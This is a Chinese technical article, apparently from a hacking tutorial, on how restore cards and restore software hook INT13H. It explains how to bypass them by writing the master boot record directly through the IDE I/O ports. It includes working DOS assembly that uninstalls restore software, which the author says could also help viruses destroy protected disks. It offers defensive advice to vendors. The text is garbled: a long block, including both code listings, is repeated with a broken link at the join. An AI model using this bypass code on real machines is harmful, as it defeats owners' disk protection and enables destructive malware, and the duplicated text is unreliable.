首先，还原卡和还原软件会抢先夺取引导权，将原来的0头0道1扇保存在一个其他的扇区，（具体备份到那个扇区是不一定的），将自己的代码写入0头0道1扇，从而能在操作系统之前得到执行权，这一点类似于一个引导型病毒；然后，我们来看看虚拟还原技术在操作系统之前都做了些什么：
1．将中断向量表中的INT13H的入口地址保存；
2．把自己用于代替INT13H的代码写入内存，并记住入口地址，当然这种“写入内存”并不是普通的“写”，而是一种我们称为“常驻”的方法，有关“常驻程序”的实现方法我们不另外花篇幅来描述了，如果你还不了解的话请自己找有关资料，也可以到www.lsky.net[/URL]找风般的男人交流；
3．将中断向量表中INT13H的入口地址改为这段常驻程序的入口地址。补充一点，虚拟还原程序在修改INT13H的入口后往往都会修改一些其他中断入口，当然也是通过常驻程序来实现的，这些中断用来实现对中断向量表中INT13H入口地址监控，一旦发现被修改，就马上把它改回，这样做同样是用来防止被有心人破解。
好了，你已经看出来了，这段用来替代BIOS提供的INT13H的代码才是虚拟还原技术的关键，那么这段代码到底实现了些什么了，以下是本人对此拙浅的理解：

1．拦截所有INT13H中对硬盘0头0道1扇的操作
这些包括读写操作，把所有的对0头0道1扇的操作改为对虚拟还原程序备份的那个扇区的操作，这样做的目的是保护虚拟还原代码不被破坏，并且不能被有心人读出进行破解，即使你用扇区编辑工具查看主引导区，实际上你看到的是这个备份的主引导区。

2．拦截所有INT13H中的写硬盘操作
这里包括对8G以下的硬盘的普通通过磁头、磁道、扇区定位的INT13H中的写操作，和扩展INT13H中基于扇区地址方式的对大硬盘的写操作，甚至包括扩展INT13H中对一些非IDE接口的硬盘的写操作。
至于拦截后做什么是虚拟还原技术实现的关键，在早期的DOS系统当中完全可以“什么都不做”，也就是说当用户写硬盘时实际上是什么都没做，但现在的操作系统都要对硬盘进行一些必要的写操作，比如对虚拟内存的写操作。众所周知，虚拟内存实际上就是硬盘，而如果禁止操作系统写硬盘的话显然后果是不堪设想的。所以，大多数虚拟还原厂商用的方法是占用一些硬盘空间，把硬盘所进行的写操作做一个记录，等系统重新启动后还原这一记录，但是怎样科学记录硬盘的写操作，是我一直没想通的问题，这种“科学”应该体现在时间上和硬盘空间的占用量上的，也就是说怎么样用最少的时间和最少的硬盘空间来记录硬盘的写操作是实现关键，如果有这方面想法的朋友欢迎和我交流；

3．备份端口70H，71H中的内容，并把最后一次执行时端口70H，71H的内容和备份的内容做比较，不一样就提示BIOS被修改，是否还原，并通过密码验证修改BIOS是否合法。

二、PC机的中断机制

中断提供了最基本的硬件和软件的接口，它使得程序员不必了解硬件系统的细节，只要直接调用系统提供的中断服务子程序，就可以完成相应功能，这样能使得程序设计更为方便。其实现机制如下：当某一中断源发出中断请求时，CPU能够决定是否响应这一中断请求（当CPU在执行更为重要的工作时，可以暂不响应），如果允许响应该中断，CPU会在现行的指令执行完后，把断点处的下一条指令地址和各寄存器的内容和标志位的状态，推入堆栈进行保护，然后转到中断源服务程序的入口，进行中断处理，当中断处理完成后，再恢复被保留的各寄存器、标志位状态和指令指针，使CPU返回断点，继续执行下一条指令。
为了区别各个中断，CPC系统给每个中断都分配了一个中断号N，比如INT 3H是断点中断，INT 10H是显示中断，我们今天要讨论的主要是INT 13H磁盘读写中断。

要说清楚PC机上的中断机制，用这一点篇幅是完全不够的，这里我所说的只是一个大概，如果你不清楚的话，请查阅一些资料或和我交流，我们今天重要要说的就是以INT13H为例看看BIOS提供给我们的中断到底都是在做什么？所谓BIOS中断简单说就是你机器上的BIOS提供的中断，那么在BIOS中断的后面，到底是些什么呢？实际上是一些对端口的输入输出操作，PC的每个端口都实现特定的功能，我们完全可以不调用BIOS提供的中断而直接用输入输出指令对这些端口进行操作，从而可以实现象调用BIOS中断一样的功能，但是一个前提是你必须对这些端口有详细的了解。反过来说，PC的中断系统的一大好处就是能够让程序员无须了解系统底层的硬件知识的而能够编程，从这点看，中断有点象我们平时所说的“封装”，我不知道这样说对不对，但的确中断为我们“封装”了许多系统底层的细节。

三、硬盘读写端口的具体含义

　对硬盘进行操作的常用端口是1f0h~1f7h号端口，各端口含义如下：
端口号　　读还是写　具体含义
1F0H　　　读/写　　　用来传送读/写的数据(其内容是正在传输的一个字节的数据)
1F1H　　　读　　　　用来读取错误码
1F2H　　　读/写　　　用来放入要读写的扇区数量
1F3H　　　读/写　　　用来放入要读写的扇区号码
1F4H　　　读/写　　　用来存放读写柱面的低8位字节
1F5H　　　读/写　　　用来存放读写柱面的高2位字节(其高6位恒为0)
1F6H　　　读/写　　　用来存放要读/写的磁盘号及磁头号
　　　　　　　　　　第7位　　恒为1
　　　　　　　　　　第6位　　恒为0
　　　　　　　　　　第5位　　恒为1
　　　　　　　　　　第4位　　为0代表第一块硬盘、为1代表第二块硬盘
　　　　　　　　　　第3~0位　　用来存放要读/写的磁头号
1f7H　　　读　　　　用来存放读操作后的状态
　　　　　　　　　　第7位　　控制器忙碌
　　　　　　　　　　第6位　　磁盘驱动器准备好了
　　　　　　　　　　第5位　　写入错误
　　　　　　　　　　第4位　　搜索完成
　　　　　　　　　　第3位　　为1时扇区缓冲区没有准备好
　　　　　　　　　　第2位　　是否正确读取磁盘数据
　　　　　　　　　　第1位　　磁盘每转一周将此位设为1,
　　　　　　　　　　第0位　　之前的命令因发生错误而结束
　　　　　写　　　　该位端口为命令端口,用来发出指定命令
　　　　　　　　　　为50h　　格式化磁道
　　　　　　　　　　为20h　　尝试读取扇区
　　　　　　　　　　为21h　　无须验证扇区是否准备好而直接读扇区
　　　　　　　　　　为22h　　尝试读取长扇区(用于早期的硬盘,每扇可能不是512字节,而是128字节到1024之间的值)
　　　　　　　　　　为23h　　无须验证扇区是否准备好而直接读长扇区
　　　　　　　　　　为30h　　尝试写扇区
　　　　　　　　　　为31h　　无须验证扇区是否准备好而直接写扇区
　　　　　　　　　　为32h　　尝试写长扇区
　　　　　　　　　　为33h　　无须验证扇区是否准备好而直接写长扇区
注:当然看完这个表你会发现，这种读写端口的方法其实是基于磁头、柱面、扇区的硬盘读写方法，不过大于8G的硬盘的读写方法也是通过端口1F0H~1F7H来实现的^_^

四、一个通过对硬盘输入输出端口操作来读写硬盘的实例

让我们来看一个关于INT13H读写硬盘程序实例。在例子中详细说明了硬盘的读写操作所用到的端口，并且把通过INT13H读出的主引导区得到的数据和通过输入输出读主引导区得到的数据进行比较，从而证实这两种操作功能相同，程序片段如下：
mov　　 dx,1f6h　　　　 ; 要读入的磁盘号及磁头号
mov　　 al,0a0h　　　　 ;磁盘0,磁头0　
out　　　dx,al

mov　　 dx,1f2h　　　　 ;要读入的扇区数量
mov　　 al,1　　　　　　;读一个扇区　　
out　　　dx,al

mov　　 dx,1f3h　　　　 ;要读的扇区号
mov　　 al,1　　　　　　;扇区号为1
out　　　dx,al

mov　　 dx,1f4h　　　　 ;要读的柱面的低8位
mov　　 al,0　　　　　　; 柱面低8位为0
out　　 dx,al

mov　　 dx,1f5h　　　　 ; 柱面高2位　
mov　　 al,0　　　　　　; 柱面高2位为0（通过1F4H和1F5H端口我们可以确定
; 用来读的柱面号是0）
out　　　dx,al

mov　　 dx,1f7h　　　　 ;命令端口
mov　　 al,20h　　　　　; 尝试读取扇区
out　　　dx,al
still_going:
in　　　al,dx
test　　 al,8　　　　　　;扇区缓冲是否准备好
jz　　 still_going　　 ;如果扇区缓冲没有准备好的话则跳转，直到准备好才向下执行。

mov　　 cx,512/2　　　　;设置循环次数（512/2次）
mov　　 di,offset buffer
mov　　 dx,1f0h　　　　 ;将要传输的一个字节的数据
rep　　　insw　　　　　　;传输数据

;　 ------

mov　　 ax,201h　　　　 ;以下是用INT13H读硬盘的0磁头、0柱面、1扇区
mov　　 dx,80h
mov　　 cx,1
mov　　 bx,offset buffer2
int　　　 13h

mov　　 cx,512　　　　 ;以下部分用来比较2种方法读出的硬盘数据
mov　　 si,offset buffer
mov　　 di,offset buffer2
repe　　 cmpsb
jne　　　failure
mov　　 ah,9
mov　　 dx,offset readmsg
int　　　21h
jmp　　 good_exit
failure:
mov　　 ah,9
mov　　 dx,offset failmsg
int　　　 21h
good_exit:　　　　　　　;以下部分用来结束程序
mov　　　ax,4c00h　　　　;退出程序
int　　　21h

readmsg db　　　"The buffers match.　Hard disk read using ports.$"
failmsg db　　　"The buffers do not match.$"
buffer　db　　　512 dup ("V")
buffer2 db　　　512 dup ("L")

五、可以穿透还原卡或是还原软件保护的代码

你可以对照硬盘读写端口含义表,再好好看看上面的例子,你将会对硬盘读写端口有一个比较深的理解。好了，到了该把谜底揭晓的时候了，重新回到我们的主题。正如你现在想象的，这种可以穿透还原卡或是还原软件保护的代码的确是对硬盘读写端口的输入输出操作。现在，我们已经可以从原理上理解了，还原卡拦截的是中断操作，但却拦截不了输入输出操作，而用输入输出操作足够可以对硬盘进行写操作了，当然用输入输出操作也完全可以读到被虚拟还原程序屏蔽的关键部分，被还原卡或是还原软件屏蔽的0头0道1扇。知道了这一原理以后，可能是仁者见仁智者见智的，如果你是一个虚拟还原技术的破解者、一个病毒制造者，或是虚拟还原技术的设计者，往往对此的理解都是不尽相同的。

在此强调我不赞成制造病毒，但一个病毒制造者完全可以用此原理写出一个可以实现破坏装有还原卡或还原软件的机器了，所以我要提醒虚拟还原用户的是，不要以为装有还原卡或是还原软件就掉以轻心，要知道世界上还是有病毒能够穿透虚拟还原技术的保护，达到破坏硬盘的目的的，想象一下如果把这一原理运用到CIH病毒中，或者运用到硬盘杀手病毒中，其后果是不堪设想的。
谈谈如何用这种可以穿透虚拟还原技术的代码来破解还原软件（如还原精灵）吧。以下是我写的用来测试破解还原精灵的代码，本代码编译后的程序需要在纯DOS环境执行，在DOS下我用这段代码成功的把还原精灵给卸载了。
.286
CODE SEGMENT
　　ASSUME CS:CODE,DS:code,ES:code
START:
;----------------------------------------------------------
;以下代码用INT13H读主引导区
mov　　 ax,0201h
mov　　 dx,0080h
mov　　 cx,0001h
mov　　 bx,7c00h
int　　　13h
;---------------------------------------------------------
;以下代码用I/O端口来写主引导区
mov　　 dx,1f6h　　　　 ; 要读入的磁盘号及磁头号
mov　　 al,0a0h　　　　 ; 磁盘0,磁头0
out　　　dx,al
mov　　 dx,1f2h　　　　 ; 要写的扇区数量
mov　　 al,1　　　　　　; 写一个扇区
out　　　dx,al

mov　　 dx,1f3h　　　　 ;要写的扇区号
mov　　 al,1　　　　　　;写到1扇区
out　　　dx,al

mov　　 dx,1f4h　　　　 ; 要写的柱面的低8位
mov　　 al,0　　　　　　; 低8位为0
out　　　dx,al

mov　　 dx,1f5h　　　　 ; 要写的柱面的高2位
mov　　 al,0　　　　　　; 高2位为0
out　　　dx,al

mov　　 dx,1f7h　　　　 ;命令端口
mov　　 al,30h　　　　　;尝试着写扇区.
out　　　dx,al
oogle:
in　　　 al,dx
test　　　al,8　　　　　　;磁盘扇区缓冲是否准备好
jz　　　 oogle

mov　　 cx,512/2　　　　;设置循环次数(512/2)
mov　　 si,7c00h
mov　　 dx,1f0h　　　　 ;数据端口,用来存放要发送的数据.
rep　　　outsw　　　　　 ;发送数据.
; ------------------------------------------------------------------------------
;退出程序
mov　　 ah,4ch
int　　　 21
CODE ENDS
　　END START

上面的程序非常简单，说明如下：

1、先把被还原精灵备份的原来的主引导区用INT13H读出来，这里虽然是对0头0道1扇进行读操作，但实际上是在读被还原精灵把原来的主引导区备份进去的那个扇区；

2、把读出的原来的主引导区通过输入输出操作写进真正的主引导区，换句话说就是把还原精灵给彻底删除了，此时重新启动你将发现还原精灵已经没有了。
我写了个FORWIN98/NT/XP的卸载还原精灵等软件的程序，大家可到www.hackart.org或www.lsky.net" TARGET=_blank>www.lsky.net" target="_blank">www.hackart.org或www.lsky.net找风般的男人交流；
3．将中断向量表中INT13H的入口地址改为这段常驻程序的入口地址。补充一点，虚拟还原程序在修改INT13H的入口后往往都会修改一些其他中断入口，当然也是通过常驻程序来实现的，这些中断用来实现对中断向量表中INT13H入口地址监控，一旦发现被修改，就马上把它改回，这样做同样是用来防止被有心人破解。
好了，你已经看出来了，这段用来替代BIOS提供的INT13H的代码才是虚拟还原技术的关键，那么这段代码到底实现了些什么了，以下是本人对此拙浅的理解：

1．拦截所有INT13H中对硬盘0头0道1扇的操作
这些包括读写操作，把所有的对0头0道1扇的操作改为对虚拟还原程序备份的那个扇区的操作，这样做的目的是保护虚拟还原代码不被破坏，并且不能被有心人读出进行破解，即使你用扇区编辑工具查看主引导区，实际上你看到的是这个备份的主引导区。

2．拦截所有INT13H中的写硬盘操作
这里包括对8G以下的硬盘的普通通过磁头、磁道、扇区定位的INT13H中的写操作，和扩展INT13H中基于扇区地址方式的对大硬盘的写操作，甚至包括扩展INT13H中对一些非IDE接口的硬盘的写操作。
至于拦截后做什么是虚拟还原技术实现的关键，在早期的DOS系统当中完全可以“什么都不做”，也就是说当用户写硬盘时实际上是什么都没做，但现在的操作系统都要对硬盘进行一些必要的写操作，比如对虚拟内存的写操作。众所周知，虚拟内存实际上就是硬盘，而如果禁止操作系统写硬盘的话显然后果是不堪设想的。所以，大多数虚拟还原厂商用的方法是占用一些硬盘空间，把硬盘所进行的写操作做一个记录，等系统重新启动后还原这一记录，但是怎样科学记录硬盘的写操作，是我一直没想通的问题，这种“科学”应该体现在时间上和硬盘空间的占用量上的，也就是说怎么样用最少的时间和最少的硬盘空间来记录硬盘的写操作是实现关键，如果有这方面想法的朋友欢迎和我交流；

3．备份端口70H，71H中的内容，并把最后一次执行时端口70H，71H的内容和备份的内容做比较，不一样就提示BIOS被修改，是否还原，并通过密码验证修改BIOS是否合法。

二、PC机的中断机制

中断提供了最基本的硬件和软件的接口，它使得程序员不必了解硬件系统的细节，只要直接调用系统提供的中断服务子程序，就可以完成相应功能，这样能使得程序设计更为方便。其实现机制如下：当某一中断源发出中断请求时，CPU能够决定是否响应这一中断请求（当CPU在执行更为重要的工作时，可以暂不响应），如果允许响应该中断，CPU会在现行的指令执行完后，把断点处的下一条指令地址和各寄存器的内容和标志位的状态，推入堆栈进行保护，然后转到中断源服务程序的入口，进行中断处理，当中断处理完成后，再恢复被保留的各寄存器、标志位状态和指令指针，使CPU返回断点，继续执行下一条指令。
为了区别各个中断，CPC系统给每个中断都分配了一个中断号N，比如INT 3H是断点中断，INT 10H是显示中断，我们今天要讨论的主要是INT 13H磁盘读写中断。

要说清楚PC机上的中断机制，用这一点篇幅是完全不够的，这里我所说的只是一个大概，如果你不清楚的话，请查阅一些资料或和我交流，我们今天重要要说的就是以INT13H为例看看BIOS提供给我们的中断到底都是在做什么？所谓BIOS中断简单说就是你机器上的BIOS提供的中断，那么在BIOS中断的后面，到底是些什么呢？实际上是一些对端口的输入输出操作，PC的每个端口都实现特定的功能，我们完全可以不调用BIOS提供的中断而直接用输入输出指令对这些端口进行操作，从而可以实现象调用BIOS中断一样的功能，但是一个前提是你必须对这些端口有详细的了解。反过来说，PC的中断系统的一大好处就是能够让程序员无须了解系统底层的硬件知识的而能够编程，从这点看，中断有点象我们平时所说的“封装”，我不知道这样说对不对，但的确中断为我们“封装”了许多系统底层的细节。

三、硬盘读写端口的具体含义

　对硬盘进行操作的常用端口是1f0h~1f7h号端口，各端口含义如下：
端口号　　读还是写　具体含义
1F0H　　　读/写　　　用来传送读/写的数据(其内容是正在传输的一个字节的数据)
1F1H　　　读　　　　用来读取错误码
1F2H　　　读/写　　　用来放入要读写的扇区数量
1F3H　　　读/写　　　用来放入要读写的扇区号码
1F4H　　　读/写　　　用来存放读写柱面的低8位字节
1F5H　　　读/写　　　用来存放读写柱面的高2位字节(其高6位恒为0)
1F6H　　　读/写　　　用来存放要读/写的磁盘号及磁头号
　　　　　　　　　　第7位　　恒为1
　　　　　　　　　　第6位　　恒为0
　　　　　　　　　　第5位　　恒为1
　　　　　　　　　　第4位　　为0代表第一块硬盘、为1代表第二块硬盘
　　　　　　　　　　第3~0位　　用来存放要读/写的磁头号
1f7H　　　读　　　　用来存放读操作后的状态
　　　　　　　　　　第7位　　控制器忙碌
　　　　　　　　　　第6位　　磁盘驱动器准备好了
　　　　　　　　　　第5位　　写入错误
　　　　　　　　　　第4位　　搜索完成
　　　　　　　　　　第3位　　为1时扇区缓冲区没有准备好
　　　　　　　　　　第2位　　是否正确读取磁盘数据
　　　　　　　　　　第1位　　磁盘每转一周将此位设为1,
　　　　　　　　　　第0位　　之前的命令因发生错误而结束
　　　　　写　　　　该位端口为命令端口,用来发出指定命令
　　　　　　　　　　为50h　　格式化磁道
　　　　　　　　　　为20h　　尝试读取扇区
　　　　　　　　　　为21h　　无须验证扇区是否准备好而直接读扇区
　　　　　　　　　　为22h　　尝试读取长扇区(用于早期的硬盘,每扇可能不是512字节,而是128字节到1024之间的值)
　　　　　　　　　　为23h　　无须验证扇区是否准备好而直接读长扇区
　　　　　　　　　　为30h　　尝试写扇区
　　　　　　　　　　为31h　　无须验证扇区是否准备好而直接写扇区
　　　　　　　　　　为32h　　尝试写长扇区
　　　　　　　　　　为33h　　无须验证扇区是否准备好而直接写长扇区
注:当然看完这个表你会发现，这种读写端口的方法其实是基于磁头、柱面、扇区的硬盘读写方法，不过大于8G的硬盘的读写方法也是通过端口1F0H~1F7H来实现的^_^

四、一个通过对硬盘输入输出端口操作来读写硬盘的实例

让我们来看一个关于INT13H读写硬盘程序实例。在例子中详细说明了硬盘的读写操作所用到的端口，并且把通过INT13H读出的主引导区得到的数据和通过输入输出读主引导区得到的数据进行比较，从而证实这两种操作功能相同，程序片段如下：
mov　　 dx,1f6h　　　　 ; 要读入的磁盘号及磁头号
mov　　 al,0a0h　　　　 ;磁盘0,磁头0　
out　　　dx,al

mov　　 dx,1f2h　　　　 ;要读入的扇区数量
mov　　 al,1　　　　　　;读一个扇区　　
out　　　dx,al

mov　　 dx,1f3h　　　　 ;要读的扇区号
mov　　 al,1　　　　　　;扇区号为1
out　　　dx,al

mov　　 dx,1f4h　　　　 ;要读的柱面的低8位
mov　　 al,0　　　　　　; 柱面低8位为0
out　　 dx,al

mov　　 dx,1f5h　　　　 ; 柱面高2位　
mov　　 al,0　　　　　　; 柱面高2位为0（通过1F4H和1F5H端口我们可以确定
; 用来读的柱面号是0）
out　　　dx,al

mov　　 dx,1f7h　　　　 ;命令端口
mov　　 al,20h　　　　　; 尝试读取扇区
out　　　dx,al
still_going:
in　　　al,dx
test　　 al,8　　　　　　;扇区缓冲是否准备好
jz　　 still_going　　 ;如果扇区缓冲没有准备好的话则跳转，直到准备好才向下执行。

mov　　 cx,512/2　　　　;设置循环次数（512/2次）
mov　　 di,offset buffer
mov　　 dx,1f0h　　　　 ;将要传输的一个字节的数据
rep　　　insw　　　　　　;传输数据

;　 ------

mov　　 ax,201h　　　　 ;以下是用INT13H读硬盘的0磁头、0柱面、1扇区
mov　　 dx,80h
mov　　 cx,1
mov　　 bx,offset buffer2
int　　　 13h

mov　　 cx,512　　　　 ;以下部分用来比较2种方法读出的硬盘数据
mov　　 si,offset buffer
mov　　 di,offset buffer2
repe　　 cmpsb
jne　　　failure
mov　　 ah,9
mov　　 dx,offset readmsg
int　　　21h
jmp　　 good_exit
failure:
mov　　 ah,9
mov　　 dx,offset failmsg
int　　　 21h
good_exit:　　　　　　　;以下部分用来结束程序
mov　　　ax,4c00h　　　　;退出程序
int　　　21h

readmsg db　　　"The buffers match.　Hard disk read using ports.$"
failmsg db　　　"The buffers do not match.$"
buffer　db　　　512 dup ("V")
buffer2 db　　　512 dup ("L")

五、可以穿透还原卡或是还原软件保护的代码

你可以对照硬盘读写端口含义表,再好好看看上面的例子,你将会对硬盘读写端口有一个比较深的理解。好了，到了该把谜底揭晓的时候了，重新回到我们的主题。正如你现在想象的，这种可以穿透还原卡或是还原软件保护的代码的确是对硬盘读写端口的输入输出操作。现在，我们已经可以从原理上理解了，还原卡拦截的是中断操作，但却拦截不了输入输出操作，而用输入输出操作足够可以对硬盘进行写操作了，当然用输入输出操作也完全可以读到被虚拟还原程序屏蔽的关键部分，被还原卡或是还原软件屏蔽的0头0道1扇。知道了这一原理以后，可能是仁者见仁智者见智的，如果你是一个虚拟还原技术的破解者、一个病毒制造者，或是虚拟还原技术的设计者，往往对此的理解都是不尽相同的。

在此强调我不赞成制造病毒，但一个病毒制造者完全可以用此原理写出一个可以实现破坏装有还原卡或还原软件的机器了，所以我要提醒虚拟还原用户的是，不要以为装有还原卡或是还原软件就掉以轻心，要知道世界上还是有病毒能够穿透虚拟还原技术的保护，达到破坏硬盘的目的的，想象一下如果把这一原理运用到CIH病毒中，或者运用到硬盘杀手病毒中，其后果是不堪设想的。
谈谈如何用这种可以穿透虚拟还原技术的代码来破解还原软件（如还原精灵）吧。以下是我写的用来测试破解还原精灵的代码，本代码编译后的程序需要在纯DOS环境执行，在DOS下我用这段代码成功的把还原精灵给卸载了。
.286
CODE SEGMENT
　　ASSUME CS:CODE,DS:code,ES:code
START:
;----------------------------------------------------------
;以下代码用INT13H读主引导区
mov　　 ax,0201h
mov　　 dx,0080h
mov　　 cx,0001h
mov　　 bx,7c00h
int　　　13h
;---------------------------------------------------------
;以下代码用I/O端口来写主引导区
mov　　 dx,1f6h　　　　 ; 要读入的磁盘号及磁头号
mov　　 al,0a0h　　　　 ; 磁盘0,磁头0
out　　　dx,al
mov　　 dx,1f2h　　　　 ; 要写的扇区数量
mov　　 al,1　　　　　　; 写一个扇区
out　　　dx,al

mov　　 dx,1f3h　　　　 ;要写的扇区号
mov　　 al,1　　　　　　;写到1扇区
out　　　dx,al

mov　　 dx,1f4h　　　　 ; 要写的柱面的低8位
mov　　 al,0　　　　　　; 低8位为0
out　　　dx,al

mov　　 dx,1f5h　　　　 ; 要写的柱面的高2位
mov　　 al,0　　　　　　; 高2位为0
out　　　dx,al

mov　　 dx,1f7h　　　　 ;命令端口
mov　　 al,30h　　　　　;尝试着写扇区.
out　　　dx,al
oogle:
in　　　 al,dx
test　　　al,8　　　　　　;磁盘扇区缓冲是否准备好
jz　　　 oogle

mov　　 cx,512/2　　　　;设置循环次数(512/2)
mov　　 si,7c00h
mov　　 dx,1f0h　　　　 ;数据端口,用来存放要发送的数据.
rep　　　outsw　　　　　 ;发送数据.
; ------------------------------------------------------------------------------
;退出程序
mov　　 ah,4ch
int　　　 21
CODE ENDS
　　END START

上面的程序非常简单，说明如下：

1、先把被还原精灵备份的原来的主引导区用INT13H读出来，这里虽然是对0头0道1扇进行读操作，但实际上是在读被还原精灵把原来的主引导区备份进去的那个扇区；

2、把读出的原来的主引导区通过输入输出操作写进真正的主引导区，换句话说就是把还原精灵给彻底删除了，此时重新启动你将发现还原精灵已经没有了。
我写了个FORWIN98/NT/XP的卸载还原精灵等软件的程序，大家可到[URL]www.lsky.net下载，不过已经有人先我一步了，那就是网吧终结者出的一个清MBR的程序，我试了一下，发现的确有用，我还没有仔细分析该程序，但我敢肯定其原理差不多。那个程序写得不错，不过我认为有一点需要改进，我的硬盘的MBR程序是我自己写的，用来实现多引导操作，当我执行完该清MBR程序后，我的多引导代码就没了，我觉得此程序如果能把核心代码部分改成象我以上的代码，在还原精灵下是把装还原精灵之前的MBR写回到主引导区，即使没装还原精灵的硬盘也只是把主引导区写回主引导区，就没有任何的危险了。

用以上的方法要实现还原卡的破解可能是不行的，因为还原卡毕竟是硬件，它可以先于硬盘引导前执行，这样即使你写回了硬盘的主引导区，还原卡还是可以把它写回的，但是，在破解还原卡的时候，完全可以利用文章中的原理，把还原卡写入硬盘主引导区的真正代码读出进行分析，甚至有些还原卡的密码就在这个扇区中。

　对于还原卡和还原软件的制造者来说，如何让您制造的还原卡或还原软件更安全，可能是一个需要思考的问题。真心希望以后的还原卡或是还原软件在拦截INT13H的同时也能拦截硬盘I/O操作。
在我安装还原精灵的时候看到一个选项是“防止硬盘I/O破坏”，开始还以为还原精灵在这方面做的不错，想到了从拦截I/O操作来保护硬盘。可惜我错了，即使选择这一个选项，也同样可以通过输入输出端口操作来写硬盘。对于掌握了这种技术的人来说，这种还原卡或是还原软件可以说是形同虚设。因此我认为，还原卡和还原软件不但要实现拦截所有硬盘写操作、拦截对主引导区的读写操作，更应该拦截对硬盘的读写端口的操作，只有这样的虚拟还原技术才可能使基于硬盘的读写端口操作所对硬盘的破坏或是对虚拟还原技术的破解变成不可能.

第二章攻破系统第三道防线:发动网络攻击，局域网灾难的开始

脆弱的arp协议，给局域网带来的灾难。我们将会发现，机器狗病毒也成功的利用了这一协议的脆弱性，对整个局域网发动了全面的攻击。